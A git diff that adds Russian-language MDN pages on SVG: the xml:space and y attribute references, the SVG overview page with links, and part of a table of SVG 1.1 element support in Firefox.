+ <dd>Браузер удалит все символы перевода строки. Затем он преобразует все символы табуляции в символы пробелов. Затем он вырежет все начальные и конечные пробелы. И, наконец, все смежные пробелы будут объединены.</dd>
+ <dt>preserve</dt>
+ <dd>Браузер преобразует все символы перевода строки и табуляции в символы пробелов. Затем он отрендерит все символы пробелов, в том числе начальные и конечные, а также смежные. Таким образом, когда рендеринг происходит с <code>xml:space="preserve"</code>, строка "a   b" (три пробела между "a" и "b") будет иметь больше расстояние между "a" и "b", чем "a b" (один пробел между "a" и "b").</dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<h2 id="Elements">Elements</h2>
+
+<p>All the SVG elements can use the <code>xml:space</code> attribute</p>
diff --git a/files/ru/web/svg/attribute/y/index.html b/files/ru/web/svg/attribute/y/index.html
new file mode 100644
index 0000000000..d73d5f2ab5
--- /dev/null
+++ b/files/ru/web/svg/attribute/y/index.html
@@ -0,0 +1,86 @@
+---
+title: 'y'
+slug: Web/SVG/Attribute/y
+tags:
+  - SVG
+  - SVG атрибуты
+translation_of: Web/SVG/Attribute/y
+---
+<p>« <a href="/ru/docs/Web/SVG/Attribute" title="Справочник SVG атрибутов">Справочник SVG атрибутов</a></p>
+
+<p><span class="seoSummary">Атрибут <strong><code>y</code></strong> указывает координаты вертикальной оси системы координат в контексте объекта. В основном атрибут работает по оси y от верхнего левого угла прямоугольной области(см. документацию каждого отдельного элемента).</span></p>
+
+<p>Если атрибут явно не указан, его значение по умолчанию равняется <strong>0</strong>, за исключением элементов {{SVGElement ("filter")}} и {{SVGElement ("mask")}}, где значение по умолчанию равняется <strong> -10% </strong>.</p>
+
+<h2 id="Использование">Использование</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Категории</th>
+   <td>None</td>
+  </tr>
+  <tr>
+   <th scope="row">Значение</th>
+   <td><a href="/ru/SVG/Content_type#Coordinate">&lt;coordinate&gt;</a></td>
+  </tr>
+  <tr>
+   <th scope="row">Анимация</th>
+   <td>Возможно</td>
+  </tr>
+  <tr>
+   <th scope="row">Нормативные документы (en)</th>
+   <td><a class="external" href="http://www.w3.org/TR/SVG/text.html#AltGlyphElementYAttribute">SVG 1.1 (2nd Edition): altGlyph element</a><br>
+    <a class="external" href="http://www.w3.org/TR/SVG/interact.html#CursorElementYAttribute">SVG 1.1 (2nd Edition): cursor element</a><br>
+    <a class="external" href="http://www.w3.org/TR/SVG/filters.html#fePointLightYAttribute">SVG 1.1 (2nd Edition): fePointLight element</a><br>
+    <a class="external" href="http://www.w3.org/TR/SVG/filters.html#feSpotLightYAttribute">SVG 1.1 (2nd Edition): feSpotLight element</a><br>
+    <a class="external" href="http://www.w3.org/TR/SVG/filters.html#FilterElementYAttribute">SVG 1.1 (2nd Edition): filter element</a><br>
+    <a class="external" href="http://www.w3.org/TR/SVG/extend.html#ForeignObjectElementYAttribute">SVG 1.1 (2nd Edition): foreignObject element</a><br>
+    <a class="external" href="http://www.w3.org/TR/SVG/text.html#GlyphRefElementYAttribute">SVG 1.1 (2nd Edition): glyphRef element</a><br>
+    <a class="external" href="http://www.w3.org/TR/SVG/struct.html#ImageElementYAttribute">SVG 1.1 (2nd Edition): image element</a><br>
+    <a class="external" href="http://www.w3.org/TR/SVG/pservers.html#PatternElementYAttribute">SVG 1.1 (2nd Edition): pattern element</a><br>
+    <a class="external" href="http://www.w3.org/TR/SVG/shapes.html#RectElementYAttribute">SVG 1.1 (2nd Edition): rect element</a><br>
+    <a class="external" href="http://www.w3.org/TR/SVG/struct.html#SVGElementYAttribute">SVG 1.1 (2nd Edition): svg element</a><br>
+    <a class="external" href="http://www.w3.org/TR/SVG/text.html#TextElementYAttribute">SVG 1.1 (2nd Edition): text element</a><br>
+    <a class="external" href="http://www.w3.org/TR/SVG/struct.html#UseElementYAttribute">SVG 1.1 (2nd Edition): use element</a><br>
+    <a class="external" href="http://www.w3.org/TR/SVG/filters.html#FilterPrimitiveYAttribute">SVG 1.1 (2nd Edition): Filter primitive</a><br>
+    <a class="external" href="http://www.w3.org/TR/SVG/masking.html#MaskElementYAttribute">SVG 1.1 (2nd Edition): mask element</a><br>
+    <a class="external" href="http://www.w3.org/TR/SVG/text.html#TSpanElementYAttribute">SVG 1.1 (2nd Edition): tspan element</a></td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{page("/ru/SVG/Content_type","coordinate")}}</p>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: xml line-numbers  language-xml"><code class="language-xml"><span class="prolog token">&lt;?xml version="1.0"?&gt;</span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>svg</span> <span class="attr-name token">width</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>120<span class="punctuation token">"</span></span> <span class="attr-name token">height</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>120<span class="punctuation token">"</span></span>
+     <span class="attr-name token">viewBox</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>0 0 120 120<span class="punctuation token">"</span></span>
+     <span class="attr-name token">xmlns</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>http://www.w3.org/2000/svg<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>rect</span> <span class="attr-name token">x</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>10<span class="punctuation token">"</span></span> <span class="attr-name token">y</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>10<span class="punctuation token">"</span></span> <span class="attr-name token">width</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>100<span class="punctuation token">"</span></span> <span class="attr-name token">height</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>100<span class="punctuation token">"</span></span><span class="punctuation token">/&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>svg</span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<h2 id="Элементы">Элементы</h2>
+
+<p>Следующие элементы могут использовать атрибут <code>y</code>.</p>
+
+<ul>
+ <li><a href="/ru/SVG/Element#FilterPrimitive">Filter primitive elements</a> »</li>
+ <li>{{SVGElement("altGlyph")}}</li>
+ <li>{{SVGElement("fePointLight")}}</li>
+ <li>{{SVGElement("feSpotLight")}}</li>
+ <li>{{SVGElement("filter")}}</li>
+ <li>{{SVGElement("foreignObject")}}</li>
+ <li>{{SVGElement("glyphRef")}}</li>
+ <li>{{SVGElement("image")}}</li>
+ <li>{{SVGElement("pattern")}}</li>
+ <li>{{SVGElement("rect")}}</li>
+ <li>{{SVGElement("svg")}}</li>
+ <li>{{SVGElement("text")}}</li>
+ <li>{{SVGElement("use")}}</li>
+ <li>{{SVGElement("mask")}}</li>
+ <li>{{SVGElement("tref")}}</li>
+ <li>{{SVGElement("tspan")}}</li>
+</ul>
diff --git a/files/ru/web/svg/index.html b/files/ru/web/svg/index.html
new file mode 100644
index 0000000000..46a1143d6f
--- /dev/null
+++ b/files/ru/web/svg/index.html
@@ -0,0 +1,103 @@
+---
+title: SVG
+slug: Web/SVG
+tags:
+  - 2D Graphics
+  - References
+  - SVG
+translation_of: Web/SVG
+---
+<div class="callout-box"><strong><a href="/ru/docs/Web/SVG/Tutorial">С чего начать</a></strong><br>
+Этот урок поможет вам начать использовать SVG.</div>
+
+<p><strong>Масштабируемая векторная графика<br>
+ (Scalable Vector Graphics — SVG)</strong> является {{Glossary("язык разметки", "языком разметки")}} расширенным из <a href="/ru/docs/XML">XML</a> для описания двухмерной {{Glossary("векторная графика", "векторной графики")}}. SVG по существу является графикой, так же, как {{Glossary("XHTML")}} — текстом.</p>
+
+<p>SVG по своим возможностям приближается к запатентованной технологии Adobe Flash, но отличается от неё тем, что SVG является <a href="http://www.w3.org/Graphics/SVG/">рекомендацией W3C</a> (то есть, стандартом), и тем, что это формат, основанный на {{Glossary("XML")}}, в противовес закрытому двоичному формату Flash. Он явно спроектирован для работы с другими стандартами <a href="http://www.w3.org/">W3C</a>, такими, как <a href="/ru/docs/CSS">CSS</a>, <a href="/ru/docs/DOM">DOM</a> и <a href="http://www.w3.org/AudioVideo/">SMIL</a>. </p>
+
+<p>SVG-графика и связанные с ней поведения определяются в текстовых XML-файлах, что означает, что их можно искать, индексировать, создавать сценарии и сжимать. Кроме того, это означает, что они могут быть созданы и отредактированы с помощью любого текстового редактора и программ для рисования. </p>
+
+<p>SVG — открытый стандарт, разработанный  <a href="https://www.w3.org/">World Wide Web консорциумом (W3C)</a> с 1999 года.</p>
+
+<div class="cleared row topicpage-table">
+<div class="section">
+<h2 class="Documentation" id="Documentation" name="Documentation">Документация</h2>
+
+<dl>
+ <dt><a href="/ru/docs/Web/SVG/Элемент">Справочник по элементам SVG</a></dt>
+ <dd>Подробная информация о каждом элементе SVG.</dd>
+ <dt><a href="/ru/docs/Web/SVG/Attribute">Справочник по атрибутам SVG</a></dt>
+ <dd>Подробная информация о каждом атрибуте SVG.</dd>
+ <dt><a href="/ru/docs/DOM/DOM_Reference#SVG_interfaces">Справочник по интерфейсу SVG DOM</a></dt>
+ <dd>Подробная информация по всему SVG DOM API.</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Web/SVG/Applying_SVG_effects_to_HTML_content">Применение эффектов SVG к содержимому HTML</a> </dt>
+ <dd>SVG работает вместе с {{Glossary("HTML")}}, {{Glossary("CSS")}} и {{Glossary("JavaScript")}}.<br>
+  <a href="https://developer.mozilla.org/en-US/docs/SVG_In_HTML_Introduction">Используйте SVG для улучшения обычной страницы HTML или веб-приложения.</a>.</dd>
+ <dt>SVG в Mozilla</dt>
+ <dd>Замечания и информация о том, как SVG реализован в Mozilla.
+ <ul>
+  <li><a href="/ru/docs/SVG_in_Firefox">Полнота реализации SVG в Firefox</a></li>
+  <li><a href="/ru/docs/Web/SVG/Tutorial">SVG - учебное руководство</a></li>
+  <li><a href="/ru/docs/SVG_In_HTML_Introduction">SVG в XHTML</a></li>
+ </ul>
+ </dd>
+</dl>
+
+<p><span class="alllinks"><a href="/ru/docs/tag/SVG">Просмотреть всё…</a></span></p>
+
+<h2 class="Community" id="Community" name="Community">Сообщество</h2>
+
+<ul>
+ <li>Обращайтесь на форумы Mozilla… {{DiscussionList("dev-tech-svg", "mozilla.dev.tech.svg")}}</li>
+</ul>
+
+<h2 class="Tools" id="Tools" name="Tools">Инструменты</h2>
+
+<ul>
+ <li><a href="http://www.w3.org/Graphics/SVG/Test/">Набор для тестирования SVG</a></li>
+ <li><a href="http://jiggles.w3.org/svgvalidator/">Валидатор SVG</a> (уже не работает)</li>
+ <li><a href="/ru/docs/tag/SVG:Tools">Больше инструментов…</a></li>
+ <li>Другие ресурсы: <a href="/ru/docs/XML">XML</a>, <a href="/ru/docs/CSS">CSS</a>, <a href="/ru/docs/DOM">DOM</a>, <a href="/ru/docs/HTML/Canvas">Canvas</a></li>
+</ul>
+</div>
+
+<div class="section">
+<h2 class="Related_Topics" id="Examples" name="Examples">Примеры</h2>
+
+<ul>
+ <li><a href="http://maps.google.com">Карты Google</a> (маршруты поверх карты) и <a href="http://docs.google.com">Документы Google</a> (диаграммы в электронных таблицах)</li>
+ <li><a href="http://starkravingfinkle.org/projects/demo/svg-bubblemenu-in-html.xml">Меню из пузырьков на SVG</a></li>
+ <li><a href="http://jwatt.org/svg/authoring/">Рекомендации по составлению SVG</a></li>
+ <li>Обзор <a href="/ru/docs/Mozilla_SVG_Project">Проекта Mozilla SVG</a></li>
+ <li><a href="/ru/docs/SVG/FAQ">Часто задаваемые вопросы</a>, касающиеся SVG и Mozilla</li>
+ <li>Слайды и демонстрации с обсуждения <a href="https://jwatt.org/blog/2009/11/16/slides-and-demos-from-svg-open-2009">SVG и Mozilla</a>, проходившего на SVG Open 2009</li>
+ <li><a href="/ru/docs/SVG/SVG_as_an_Image">Использование SVG в качестве изображения</a></li>
+ <li><a href="/ru/docs/SVG/SVG_animation_with_SMIL">SVG анимация при помощи SMIL</a></li>
+ <li><a href="http://plurib.us/1shot/2007/svg_gallery/">Художественная галерея SVG</a></li>
+ <li>Больше примеров (примеры SVG с <a href="http://www.carto.net/papers/svg/samples/">carto.net</a>)</li>
+</ul>
+
+<h3 id="Animation_and_interactions" name="Animation_and_interactions">Анимация и взаимодействие</h3>
+
+<p>Как и HTML, SVG имеет объектную модель документа (DOM) и события и всё это может быть доступно через JavaScript. Это позволяет разработчикам создавать роскошные анимации и интерактивные изображения.</p>
+
+<ul>
+ <li>Некоторые захватывающие работы с использованием SVG на <a href="http://svg-wow.org/">svg-wow.org</a></li>
+ <li>Расширение Firefox (<a href="http://schepers.cc/grafox/">Grafox</a>) для добавления поддержки анимации с использованием {{Glossary("SMIL")}}</li>
+ <li>Интерактивное управление <a href="http://people.mozilla.com/~vladimir/demos/photos.svg">фотографиями</a></li>
+ <li>Использование <code>foreignObject</code> из SVG для <a href="http://starkravingfinkle.org/blog/2007/07/firefox-3-svg-foreignobject/">изменения HTML</a></li>
+ <li>Анимация <a href="http://www.creative-seo.ru/svg-speedometer/">SVG спидометр</a></li>
+</ul>
+
+<h3 id="Mapping.2C_charting.2C_games_.26_3D_experiments" name="Mapping.2C_charting.2C_games_.26_3D_experiments">Карты, диаграммы, игры и эксперименты с 3D</h3>
+
+<p>В то время, как маленькие документы SVG могут серьёзно улучшить веб-контент, здесь представлены некоторые примеры тяжёлого использования SVG.</p>
+
+<ul>
+ <li><a href="http://www.codedread.com/yastframe.php">Тетрис</a></li>
+ <li><a href="https://web.archive.org/web/20131019072450/http://www.treebuilder.de/svg/connect4.svg" title="Archive link provided because source now requires authentication.">Connect 4</a></li>
+ <li><a href="http://www.carto.net/papers/svg/us_population/index.html">Популяционная карта США</a></li>
+ <li><a href="http://jvectormap.com/">jVectorMap</a> (интерактивные карты для визуализации данных)</li>
+</ul>
+</div>
+</div>
diff --git a/files/ru/web/svg/svg_1.1_support_in_firefox/index.html b/files/ru/web/svg/svg_1.1_support_in_firefox/index.html
new file mode 100644
index 0000000000..b552e8a208
--- /dev/null
+++ b/files/ru/web/svg/svg_1.1_support_in_firefox/index.html
@@ -0,0 +1,774 @@
+---
+title: Поддержка SVG 1.1 в Firefox
+slug: Web/SVG/SVG_1.1_Support_in_Firefox
+translation_of: Web/SVG/SVG_1.1_Support_in_Firefox
+---
+<p>Основные примеры синтаксиса и использования SVG вы можете найти в <a href="https://www.w3.org/Graphics/SVG/Test/20061213/">наборе тестов W3C SVG</a>. </p>
+
+<div class="note">
+<p><strong>Примечание:</strong> Начиная с {{Gecko("2.0")}}, Gecko поддерживает SVG-анимацию с использованием SMIL. Для краткого обзора смотрите <a href="/en-US/docs/SVG/SVG_animation_with_SMIL" title="SVG/SVG animation with SMIL">SVG анимация и SMIL</a>. <br>
+ Будет подготовлена ​​и полная документация для SVG. Когда-нибудь.</p>
+</div>
+
+<p>Также существует описание поддержки <a href="/en-US/docs/Web/SVG/SVG_2_support_in_Mozilla">Mozilla изменений в SVG 2</a>. </p>
+
+<h2 id="Статус_реализации_элемента">Статус реализации элемента</h2>
+
+<p>Быстрый обзор элементов <a href="https://www.w3.org/TR/SVG11/">SVG 1.1</a> и текущий статус встроенной поддержки.</p>
+
+<table class="standard-table" style="border-collapse: separate;">
+ <tbody>
+  <tr>
+   <th>Элемент</th>
+   <th>Комментарий</th>
+  </tr>
+  <tr>
+   <th colspan="2" style="text-align: center;"><a href="https://www.w3.org/TR/SVG11/struct.html#basic-structure-mod">Structure Module</a></th>
+  </tr>
+  <tr style="color: black; background-color: lightgreen;">
+   <td><a href="https://www.w3.org/TR/SVG11/struct.html#SVGElement">svg</a></td>
+   <td>
+    <ul>
+     <li>Выполнена.</li>
+     <li><code>currentScale</code> и <code>currentTranslate</code> DOM, но нет пользовательского интерфейса панорамирования и масштабирования.</li>
+     <li>SVGSVGElement
+      <ul>
+       <li>Невыполненные атрибуты: contentScriptType, contentStyleType, viewport, currentView</li>
+       <li>Невыполненные привязки: getIntersectionList, getEnclosureList, checkIntersection, checkEnclosure</li>
+      </ul>
+     </li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: lightgreen;">
+   <td><a href="https://www.w3.org/TR/SVG11/struct.html#GElement">g</a></td>
+   <td>
+    <ul>
+     <li>Выполнена.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: lightgreen;">
+   <td><a href="https://www.w3.org/TR/SVG11/struct.html#DefsElement">defs</a></td>
+   <td>
+    <ul>
+     <li>Выполнена.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: lightgreen;">
+   <td><a href="https://www.w3.org/TR/SVG11/struct.html#DescElement">desc</a></td>
+   <td>
+    <ul>
+     <li>Выполнена.</li>
+     <li>Сохраняется только в DOM, без пользовательского интерфейса.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: lightgreen;">
+   <td><a href="https://www.w3.org/TR/SVG11/struct.html#TitleElement">title</a></td>
+   <td>
+    <ul>
+     <li>Выполнена.</li>
+     <li>Заголовок <code>title</code> отображается как подсказка, когда мышь зависает над объектом SVG.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: lightgreen;">
+   <td><a href="https://www.w3.org/TR/SVG11/metadata.html#MetadataElement">metadata</a></td>
+   <td>
+    <ul>
+     <li>Выполнена.</li>
+     <li>Сохраняется только в DOM, без пользовательского интерфейса.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: lightgreen;">
+   <td><a href="https://www.w3.org/TR/SVG11/struct.html#SymbolElement">symbol</a></td>
+   <td>
+    <ul>
+     <li>Выполнена.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: lightgreen;">
+   <td><a href="https://www.w3.org/TR/SVG11/struct.html#UseElement">use</a></td>
+   <td>
+    <ul>
+     <li>Выполнена.</li>
+     <li>Не полностью соблюдает &lt;svg:use&gt; каскадные правила ({{Bug(265894)}}).</li>
+     <li>Не передает события в дерево SVGElementInstance ({{Bug(265895)}}).</li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <th colspan="2" style="text-align: center;"><a href="https://www.w3.org/TR/SVG11/struct.html#conditional-mod">Conditional Processing Module</a></th>
+  </tr>
+  <tr style="color: black; background-color: lightgreen;">
+   <td><a href="https://www.w3.org/TR/SVG11/struct.html#SwitchElement">switch</a></td>
+   <td>
+    <ul>
+     <li>Выполнена.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <th colspan="2" style="text-align: center;"><a href="https://www.w3.org/TR/SVG11/struct.html#image-mod">Image Module</a></th>
+  </tr>
+  <tr style="color: black; background-color: lightgreen;">
+   <td><a href="https://www.w3.org/TR/SVG11/struct.html#ImageElement">image</a></td>
+   <td>
+    <ul>
+     <li>Выполнена.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <th colspan="2" style="text-align: center;"><a href="https://www.w3.org/TR/SVG11/styling.html#style-mod">Style Module</a></th>
+  </tr>
+  <tr style="color: black; background-color: lightgreen;">
+   <td><a href="https://www.w3.org/TR/SVG11/styling.html#StyleElement">style</a></td>
+   <td>
+    <ul>
+     <li>Выполнена.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <th colspan="2" style="text-align: center;"><a href="https://www.w3.org/TR/SVG11/shapes.html#shape-mod">Shape Module</a></th>
+  </tr>
+  <tr style="color: black; background-color: lightgreen;">
+   <td><a href="https://www.w3.org/TR/SVG11/paths.html#PathElement">path</a></td>
+   <td>
+    <ul>
+     <li>Выполнена.</li>
+     <li>Интерфейс SVGPathElement
+      <ul>
+       <li>Невыполненные атрибуты: normalizedPathSegList, animatedNormalizedPathSegList</li>
+      </ul>
+     </li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: lightgreen;">
+   <td><a href="https://www.w3.org/TR/SVG11/shapes.html#RectElement">rect</a></td>
+   <td>
+    <ul>
+     <li>Выполнена.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: lightgreen;">
+   <td><a href="https://www.w3.org/TR/SVG11/shapes.html#CircleElement">circle</a></td>
+   <td>
+    <ul>
+     <li>Выполнена.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: lightgreen;">
+   <td><a href="https://www.w3.org/TR/SVG11/shapes.html#LineElement">line</a></td>
+   <td>
+    <ul>
+     <li>Выполнена.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: lightgreen;">
+   <td><a href="https://www.w3.org/TR/SVG11/shapes.html#EllipseElement">ellipse</a></td>
+   <td>
+    <ul>
+     <li>Выполнена.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: lightgreen;">
+   <td><a href="https://www.w3.org/TR/SVG11/shapes.html#PolylineElement">polyline</a></td>
+   <td>
+    <ul>
+     <li>Выполнена.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: lightgreen;">
+   <td><a href="https://www.w3.org/TR/SVG11/shapes.html#PolygonElement">polygon</a></td>
+   <td>
+    <ul>
+     <li>Выполнена.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <th colspan="2" style="text-align: center;"><a href="https://www.w3.org/TR/SVG11/text.html#text-mod">Text Module</a></th>
+  </tr>
+  <tr style="color: black; background-color: lightgreen;">
+   <td><a href="https://www.w3.org/TR/SVG11/text.html#TextElement">text</a></td>
+   <td>
+    <ul>
+     <li>Выполнена.</li>
+     <li>Перечисленные атрибуты презентации не работают  (alignment-baseline, baseline-shift, dominant-baseline, kerning, letter-spacing, word-spacing, writing-mode, glyph-orientation-horizontal, glyph-orientation-vertical)</li>
+     <li>Недавно реализованные атрибуты презентации: direction, unicode-bidi, font-variant, text-decoration {{gecko_minversion_inline("25")}}</li>
+     <li>SVGTextElement
+      <ul>
+       <li>Недавно реализованные привязки: selectSubString {{gecko_minversion_inline("25")}}</li>
+       <li>Недавно реализованные атрибуты: textLength, lengthAdjust {{gecko_minversion_inline("25")}}</li>
+      </ul>
+     </li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: lightgreen;">
+   <td><a href="https://www.w3.org/TR/SVG11/text.html#TSpanElement">tspan</a></td>
+   <td>
+    <ul>
+     <li>Выполнена.</li>
+     <li>Некоторые атрибуты презентации не работают (alignment-baseline, baseline-shift, dominant-baseline, kerning, letter-spacing, word-spacing, writing-mode, glyph-orientation-horizontal, glyph-orientation-vertical)</li>
+     <li>Недавно реализованные атрибуты презентации: direction, unicode-bidi, font-variant, text-decoration {{gecko_minversion_inline("25")}}</li>
+     <li>SVGTSpanElement
+      <ul>
+       <li>Недавно реализованные привязки: <br>
+        selectSubString{{gecko_minversion_inline("25")}}</li>
+       <li>Недавно реализованные атрибуты: textLength, lengthAdjust {{gecko_minversion_inline("25")}}</li>
+      </ul>
+     </li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: salmon;">
+   <td style="background-color: rgb(204, 204, 204);"><a href="https://www.w3.org/TR/SVG11/text.html#TRefElement">tref</a></td>
+   <td style="background-color: rgb(204, 204, 204);">
+    <ul>
+     <li>Эта функция, представленная в раннем проекте спецификации, была удалена из нее и поэтому не реализована ({{Bug(273171)}}).</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: lightgreen;">
+   <td><a href="https://www.w3.org/TR/SVG11/text.html#TextPathElement">textPath</a></td>
+   <td>
+    <ul>
+     <li>Выполнена.</li>
+     <li>Недавно реализованные привязки: <br>
+      selectSubString{{gecko_minversion_inline("25")}}</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: khaki;">
+   <td><a href="https://www.w3.org/TR/SVG11/text.html#AltGlyphElement">altGlyph</a></td>
+   <td>
+    <ul>
+     <li>Реализовано как <code>tspans</code>, никаких функций шрифта, как у Gecko 2.0 ({{Bug(456286)}}, {{Bug(571808)}}).</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: salmon;">
+   <td><a href="https://www.w3.org/TR/SVG11/text.html#AltGlyphDefElement">altGlyphDef</a></td>
+   <td>
+    <ul>
+     <li>Не выполнена.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: salmon;">
+   <td><a href="https://www.w3.org/TR/SVG11/text.html#AltGlyphItemElement">altGlyphItem</a></td>
+   <td>
+    <ul>
+     <li>Не выполнена.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: salmon;">
+   <td><a href="https://www.w3.org/TR/SVG11/text.html#GlyphRefElement">glyphRef</a></td>
+   <td>
+    <ul>
+     <li>Не выполнена.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <th colspan="2" style="text-align: center;"><a href="https://www.w3.org/TR/SVG11/painting.html#marker-mod">Marker Module</a></th>
+  </tr>
+  <tr style="color: black; background-color: lightgreen;">
+   <td><a href="https://www.w3.org/TR/SVG11/painting.html#MarkerElement">marker</a></td>
+   <td>
+    <ul>
+     <li>Выполнена.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <th colspan="2" style="text-align: center;"><a href="https://www.w3.org/TR/SVG11/color.html#color-profile-mod">Color Profile Module</a></th>
+  </tr>
+  <tr style="color: black; background-color: salmon;">
+   <td><a href="https://www.w3.org/TR/SVG11/color.html#ColorProfileElement">color-profile</a></td>
+   <td>
+    <ul>
+     <li>Не выполнена ({{Bug(427713)}}).</li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <th colspan="2" style="text-align: center;"><a href="https://www.w3.org/TR/SVG11/pservers.html#gradient-mod">Gradient Module</a></th>
+  </tr>
+  <tr style="color: black; background-color: lightgreen;">
+   <td><a href="https://www.w3.org/TR/SVG11/pservers.html#LinearGradientElement">linearGradient</a></td>
+   <td>
+    <ul>
+     <li>Выполнена.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: lightgreen;">
+   <td><a href="https://www.w3.org/TR/SVG11/pservers.html#RadialGradientElement">radialGradient</a></td>
+   <td>
+    <ul>
+     <li>Выполнена.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: lightgreen;">
+   <td><a href="https://www.w3.org/TR/SVG11/pservers.html#StopElement">stop</a></td>
+   <td>
+    <ul>
+     <li>Выполнена.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <th colspan="2" style="text-align: center;"><a href="https://www.w3.org/TR/SVG11/pservers.html#pattern-mod">Pattern Module</a></th>
+  </tr>
+  <tr style="color: black; background-color: lightgreen;">
+   <td><a href="https://www.w3.org/TR/SVG11/pservers.html#PatternElement">pattern</a></td>
+   <td>
+    <ul>
+     <li>Выполнена.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <th colspan="2" style="text-align: center;"><a href="https://www.w3.org/TR/SVG11/masking.html#clip-mod">Clip Module</a></th>
+  </tr>
+  <tr style="color: black; background-color: lightgreen;">
+   <td><a href="https://www.w3.org/TR/SVG11/masking.html#ClipPathElement">clipPath</a></td>
+   <td>
+    <ul>
+     <li>Выполнена.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <th colspan="2" style="text-align: center;"><a href="https://www.w3.org/TR/SVG11/masking.html#mask-mod">Mask Module</a></th>
+  </tr>
+  <tr style="color: black; background-color: lightgreen;">
+   <td><a href="https://www.w3.org/TR/SVG11/masking.html#MaskElement">mask</a></td>
+   <td>
+    <ul>
+     <li>Выполнена.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <th colspan="2" style="text-align: center;"><a href="https://www.w3.org/TR/SVG11/filters.html#filter-mod">Filter Module</a></th>
+  </tr>
+  <tr style="color: black; background-color: lightgreen;">
+   <td><a href="https://www.w3.org/TR/SVG11/filters.html#FilterElement">filter</a></td>
+   <td>
+    <ul>
+     <li>Выполнена.</li>
+     <li>Из псевдо-входов:<br>
+      <code>SourceGraphic</code>, <code>SourceAlpha</code>, <code>FillPaint</code> {{gecko_minversion_inline("17")}} и <code>StrokePaint</code> {{gecko_minversion_inline("17")}} - реализованы.</li>
+     <li>Использование нереализованного псевдо-входного или фильтрующего элемента приведет к игнорированию фильтра и рисованию обратного графика без какого-либо фильтра.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: lightgreen;">
+   <td><a href="https://www.w3.org/TR/SVG11/filters.html#feBlendElement">feBlend</a></td>
+   <td>
+    <ul>
+     <li>Выполнена.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: lightgreen;">
+   <td><a href="https://www.w3.org/TR/SVG11/filters.html#feColorMatrixElement">feColorMatrix</a></td>
+   <td>
+    <ul>
+     <li>Выполнена.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: lightgreen;">
+   <td><a href="https://www.w3.org/TR/SVG11/filters.html#feComponentTransferElement">feComponentTransfer</a></td>
+   <td>
+    <ul>
+     <li>Выполнена.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: lightgreen;">
+   <td><a href="https://www.w3.org/TR/SVG11/filters.html#feCompositeElement">feComposite</a></td>
+   <td>
+    <ul>
+     <li>Выполнена.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: lightgreen;">
+   <td><a href="https://www.w3.org/TR/SVG11/filters.html#feConvolveMatrixElement">feConvolveMatrix</a></td>
+   <td>
+    <ul>
+     <li>Выполнена.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: lightgreen;">
+   <td><a href="https://www.w3.org/TR/SVG11/filters.html#feDiffuseLightingElement">feDiffuseLighting</a></td>
